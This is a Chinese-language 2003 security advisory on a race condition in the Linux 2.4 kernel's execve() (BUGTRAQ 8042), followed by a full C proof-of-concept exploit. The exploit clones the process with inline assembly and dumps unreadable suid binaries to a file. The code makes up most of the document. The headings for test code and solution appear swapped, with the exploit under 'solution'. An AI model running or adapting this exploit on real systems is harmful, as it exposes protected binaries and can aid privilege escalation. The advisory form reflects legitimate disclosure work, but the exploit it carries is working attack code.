Linux 2.4 Kernel execve()系统调用竞争条件漏洞发布时间:2003-06-27 更新时间:2003-06-27 严重程度:中 威胁程度:权限提升 错误类型:竞争条件 利用方式:服务器模式 BUGTRAQ ID:8042 受影响系统 Linux kernel 2.4详细描述 Linux Kernel 2.4的execve()系统调用实现上存在竞争条件漏洞,因为被执行程序打开后的文件描述符放在调用进程的文件表中,execve()调用实现上在漏洞允许调用进程在执行目标程序之前,使用clone()调用复制出一个进程来读取被执行的程序文件。攻击者可以利用此漏洞读取正常情况下无法读取的suid文件,虽然未经证实,向目标程序文件写入代码也是可能的,理论上可用于提升权限。 测试代码 厂商还未提供解决方案。 解决方案 /**************************************************************** * * * Linux 2.4.x suid exec/file read race proof of concept * * by IhaQueR * * * ****************************************************************/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sched.h> #include <fcntl.h> #include <signal.h> #include <sys/types.h> #include <sys/stat.h> #include <asm/page.h> void fatal(const char *msg) { printf("\n"); if (!errno) { fprintf(stderr, "FATAL: %s\n", msg); } else { perror(msg); } printf("\n"); fflush(stdout); fflush(stderr); exit(129); } int child(char **av) { int fd; printf("\nChild running pid %d", getpid()); fflush(stdout); usleep(100000); execvp(av[0], av + 1); printf("\nFatal child exit\n"); fflush(stdout); exit(0); } void exitus(int v) { printf("\nParent terminating (child exited)\n\n"); fflush(stdout); exit(129); } void usage(const char *name) { printf("\nSuid exec dumper by IhaQueR\n"); printf("\nUSAGE:\t%s executable [args...]", name); printf("\n\n"); fflush(stdout); exit(0); } int main(int ac, char **av) { int p = 0, fd = 0; struct stat st, st2; if (ac < 2) usage(av[0]); av[0] = (char *) strdup(av[1]); av[1] = (char *) basename(av[1]); p = stat(av[0], &st2); if (p) fatal("stat"); signal(SIGCHLD, &exitus); printf("\nParent running pid %d", getpid()); fflush(stdout); __asm__ ( "pusha \n" "movl $0x411, %%ebx \n" "movl %%esp, %%ecx \n" "movl $120, %%eax \n" "int $0x80 \n" "movl %%eax, %0 \n" "popa" : : "m"(p) ); if (p < 0) fatal("clone"); if (!p) child(av); printf("\nParent stat loop"); fflush(stdout); while (1) { p = fstat(3, &st); if (!p) { if (st.st_ino != st2.st_ino) fatal("opened wrong file!"); p = lseek(3, 0, SEEK_SET); if (p == (off_t) - 1) fatal("lseek"); fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL, 0755); if (fd < 0) fatal("open"); while (1) { char buf[8 * PAGE_SIZE]; p = read(3, buf, sizeof(buf)); if (p <= 0) break; write(fd, buf, p); } printf("\nParent success stating:"); fflush(stdout); printf("\nuid %d gid %d mode %.5o inode %u size %u", st.st_uid, st.st_gid, st.st_mode, st.st_ino, st.st_size); fflush(stdout); printf("\n"); fflush(stdout); exit(1); } } printf("\n\n"); fflush(stdout); return 0; } 相关信息 Linux 2.4.x execve() file read race vulnerability http://archives.neohapsis.com/archives/bugtraq/2003-06/0209.html |